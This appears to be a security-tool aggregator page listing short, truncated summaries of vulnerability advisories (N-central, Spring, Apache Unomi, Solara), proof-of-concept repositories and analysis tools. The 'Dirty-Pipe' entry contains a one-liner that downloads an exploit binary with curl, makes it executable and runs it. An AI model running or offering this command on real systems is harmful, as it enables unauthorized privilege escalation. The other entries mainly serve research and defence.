N-able N-central <2026.3.1.14 - Pre-Authentication Remote Code Execution

N-able N-central versions before 2026.3.1.14 are vulnerable to pre-authentication remote code execution via static code injection CWE-96. An unauthenticated attacker with network access to the N-central management interface can execute arbitrary code on the server, potentially compromising every...

Spring Framework Path Traversal in Functional Web Frameworks

Applications serving static resources through the functional web frameworks WebMvc.fn or WebFlux.fn are vulnerable to path traversal attacks. An attacker can craft malicious HTTP requests and obtain any file on the file system that is also accessible to the process in which the Spring application...

Apache Unomi - Remote Code Execution

Apache Unomi allows conditions to use OGNL scripting which offers the possibility to call static Java classes from the JDK that could execute code with the permission level of the running Java process, enabling attackers to execute arbitrary code. id: CVE-2020-11975 info: name: Apache Unomi -...

Solara <1.35.1 - Local File Inclusion

A Local File Inclusion LFI vulnerability was identified in widgetti/solara, in version 1.35.1, which was fixed in version 1.35.1. This vulnerability arises from the application's failure to properly validate URI fragments for directory traversal sequences such as '../' when serving static files. ...

ghidra2frida

ghidra2frida ghidra2frida 是一个 Ghidra 扩展，它充当 Ghidra 和 Frida 之间的桥梁，让您可以创建强大的 Ghidra 脚本，利用 Frida 的动态分析引擎来增强 Ghidra 的静态分析功能。它支持所有 Frida 支持的平台（Windows、macOS、Linux、iOS、Android 和 QNX）。 该插件基于 Brida 的理念（和代码）。ghidra2frida 本身是一个扩展，为 Ghidra 添加了一个控制面板，其中包含创建 Ghidra 和 Frida 之间桥梁所需的所有工具。当桥梁建立后，会为 Ghidra...

IDA2Obj

IDA2Obj IDA2Obj 是一个实现 SBI（静态二进制插桩） 的工具。 工作流程很简单： 直接从可执行 二进制文件 中转储 目标文件（COFF） 。 链接 这些 目标文件 为一个新的二进制文件，与旧文件几乎相同。 在转储过程中，你可以 在任何位置插入任何数据/代码 。 SBI 只是其中一种使用场景，对黑盒模糊测试尤其有用。 使用方法 0. 准备环境： 在 idapython.cfg 中设置 AUTOIMPORTCOMPATIDA695 = YES，以支持旧版 IDA 6.x 风格的 API。 安装依赖：pip install cough 1. 创建一个文件夹作为工作空间。 2...

apkvuln

ApkVuln root@kitploit: \ / \ / \ / \ / \ /\ \ \ \ /|\ \ \ | | | \ | |/ /\ \ / / | | | | | | | / \ | / ' \ V /| || | || . | // \|| |\ / /|||| 使用 ApkVuln，你将获得一个 APK 的 .java 文件，并通过正则表达式分析代码中可能存在的漏洞。 注意 ：结果的准确性取决于正则表达式。它们是可定制的。 依赖 要运行此应用程序，你需要安装 Python 3.6+ 和 apkx。 要完整运行（检查签名版本和...

security-code-scan

C和VB.NET的漏洞模式检测器 - Website 下载 官方发布版本可通过 nuget包、Visual Studio扩展 和 独立运行器 获取。 构建 root@kitploit: git clone https://github.com/security-code-scan/security-code-scan.git cd security-code-scan 在Visual Studio中打开 SecurityCodeScan.sln 或通过命令行构建： root@kitploit: nuget restore SecurityCodeScan.sln msbuild...

smalien

Smalien Smalien是一款面向Android应用分析人员的信息流分析和信息泄露检测工具。Smalien可以在Linux机器上对Android应用进行静态污点分析，同时也能在Android设备上运行时执行动态污点分析、检测因隐式信息流导致的信息泄露，并强制执行隐私策略。 注意 : Smalien的新版本现已发布在 SaitoLab-Nitech/VTDroid ！！ Smalien具有以下功能 对Android应用进行静态分析，收集类、方法、变量等信息。 以图形方式呈现分析结果，例如方法调用图和信息流图。 在Android设备上执行动态污点分析。 强制执行由分析人员指定的隐私策略...

CVE-2024-38816-PoC

CVE-2024-38816 Prueba de Concepto PoC Esta es una prueba de concepto para la vulnerabilidad CVE-2024-38816, que demuestra un exploit de path traversal. Pasos de Ejecución 1. Construye la imagen de Docker: Spring Boot 3.0.13, basado en Spring Framework 6.0.3 root@kitploit: docker build -t...

CVE-2020-0688-Scanner

CVE-2020-0688-Scanner Quick C tool for checking CVE-2020-0688 on multiple hosts with a non-intrusive method. Features Scan hosts from an input file. Passive check : grab exchange version by scraping html content. Produces an output file. Demo How to use Prerequisite Windows .NET framework 4.5.2...

CVE-2026-41841

A flaw was found in Spring MVC and WebFlux applications. A remote attacker could exploit this vulnerability by sending specially crafted requests when the application resolves static resources. This could lead to information disclosure, allowing the attacker to gain unauthorized access to sensiti...

Vba2Graph

Vba2Graph 一款面向安全研究人员的工具，帮助他们节省分析恶意Office宏的时间。 生成VBA调用图，并高亮显示潜在恶意关键词。 支持快速分析恶意宏，轻松理解执行流程。 @MalwareCantFly 功能特性 关键词高亮 支持VBA属性 支持外部函数声明 处理带有"Change"执行触发器的恶意宏 炫彩配色方案！ 优点 ✓ 非常快 ✓ 对大多数野外恶意宏表现良好 缺点 ✗ 静态分析（动态解析的调用无法识别） 示例 示例1： Trickbot下载器——利用对象Resize事件作为初始触发，随后触发TextBoxChange。 示例2： 更多案例请查看 Examples 文件夹。 ...

octopus

Octopus 衷心感谢 QuoScient 对本项目的赞助。 Octopus 是一个用于 WebAssembly 模块和区块链智能合约的安全分析框架。 Octopus 旨在提供一种简单的方式来分析闭源的 WebAssembly 模块和智能合约字节码，从而更深入地理解其内部行为。 功能 浏览器 Explorer ：Octopus 的 JSON-RPC 客户端实现，用于与区块链平台通信 反汇编器 Disassembler ：Octopus 可以将字节码转换为汇编表示 控制流分析 ：Octopus 可以生成控制流图 CFG 调用流分析 ：Octopus 可以生成调用流图（函数级别） IR 转...

Umay

物联网恶意软件相似性分析平台 查看演示 目录 关于项目 当前特性 开始使用 先决条件 安装 创建自己的数据集 贡献 许可证 关于项目 该项目基于共享代码提供物联网恶意软件相似性分析。它有助于识别与待分析文件存在共享代码的其他恶意软件。这样，您就有机会了解该恶意软件所属的家族。物联网生态中存在多种不同架构的设备。基于静态的方法在处理多架构问题时更为有效。 项目中使用了由 IoTPOT 提供的 1000 个恶意软件二进制文件。通过 radare2 提取每个二进制文件的基本块和函数，并将这些数据的哈希值存储在 SQL...

Dirty-Pipe

Exploit en una línea CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

Bughound

Bughound 是什么？ Bughound 是一款开源的静态代码分析工具，能够分析你的代码并将结果发送到 Elasticsearch 和 Kibana，从而让你获得代码中潜在漏洞的有用洞察。 Bughound 自带预配置的 Elasticsearch 和 Kibana Docker 镜像，其中包含为你发现的结果量身定制的仪表板。 你可以检测多种类型的漏洞，例如： 命令注入 XXE 不安全的反序列化 以及更多！ 目前 Bughound 能够分析 PHP 和 JAVA 代码，并包含这些语言的一组危险函数。 随着时间推移，我会确保不断添加更多函数/语言的支持，但目前主要精力放在项目的稳定性上...

androwarn

Androwarn 又一款针对恶意Android应用程序的静态代码分析工具 描述 Androwarn 是一款主要旨在检测并警告用户关于 Android 应用程序开发的潜在恶意行为的工具。 该检测通过静态分析应用的 Dalvik 字节码（以 Smali 形式表示）执行，借助 androguard 库。 分析会根据用户选择的技术详细程度生成一份报告。 特点 针对不同恶意行为类别的字节码结构与数据流分析 电话标识符窃取 ：IMEI、IMSI、MCC、MNC、LAC、CID、运营商名称…… 设备设置窃取 ：软件版本、使用统计、系统设置、日志…… 地理位置信息泄露 ：GPS/WiFi 地理位置……...

hikvision_CVE-2017-7921_auth_bypass_config_decryptor

hikvisionCVE-2017-7921authbypassconfigdecryptor Este archivo python descifrará el archivo de configuración utilizado por las cámaras hikvision vulnerables a CVE-2017-7921. https://www.checkpoint.com/defense/advisories/public/2017/cpai-2017-0876.html/ Descripción Omisión de Autenticación en Cámara...

jackhammer

Jackhammer： 一款解决安全团队所有问题的安全漏洞评估/管理工具。 Jackhammer 是什么？ Jackhammer 是一款协作工具，旨在弥合安全团队与开发团队、QA 团队之间的差距，并帮助 TPM 理解和跟踪进入生产环境的代码质量。它能够进行静态代码分析和动态分析，并内置漏洞管理能力。它可以发现目标应用中的安全漏洞，并帮助安全团队管理在这个持续集成和持续/多次部署新时代中的混乱局面。 它完全基于 RBAC（基于角色的访问控制）工作。它提供了针对个人扫描和团队扫描的酷炫仪表盘，为与不同团队协作提供了充分的灵活性。它完全基于可插拔架构构建，可以与任何开源/商业工具集成。...